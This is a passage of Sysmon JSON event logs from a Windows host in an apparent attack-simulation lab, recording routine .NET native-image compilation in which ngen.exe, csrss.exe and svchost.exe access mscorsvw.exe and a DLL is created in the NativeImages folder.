12:00:29.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425D-5F2D-0000-001004F90900}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6516,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:29.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425D-5F2D-0000-001004F90900}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:29.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425D-5F2D-0000-001004F90900}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6517,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:29.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425D-5F2D-0000-001004F90900}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:29.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425D-5F2D-0000-001004F90900}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6518,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:29.963\r\nProcessGuid: {90617006-425D-5F2D-0000-001004F90900}\r\nProcessId: 4624\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1210-0\\CustomMarshalers.dll\r\nCreationUtcTime: 2020-08-07 12:00:29.963","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:29.963","ProcessGuid":"{90617006-425D-5F2D-0000-001004F90900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1210-0\\CustomMarshalers.dll","CreationUtcTime":"2020-08-07 12:00:29.963","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6519,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:29.994\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4236-5F2D-0000-00103E7B0900}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:29.994","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4236-5F2D-0000-00103E7B0900}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6520,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:29.994\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4236-5F2D-0000-00103E7B0900}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:29.994","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4236-5F2D-0000-00103E7B0900}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6521,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-00102EFC0900}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-00102EFC0900}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6522,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.103\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-001099FF0900}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:30.103","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-001099FF0900}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6523,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-001099FF0900}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:30.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-001099FF0900}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6524,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-001099FF0900}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 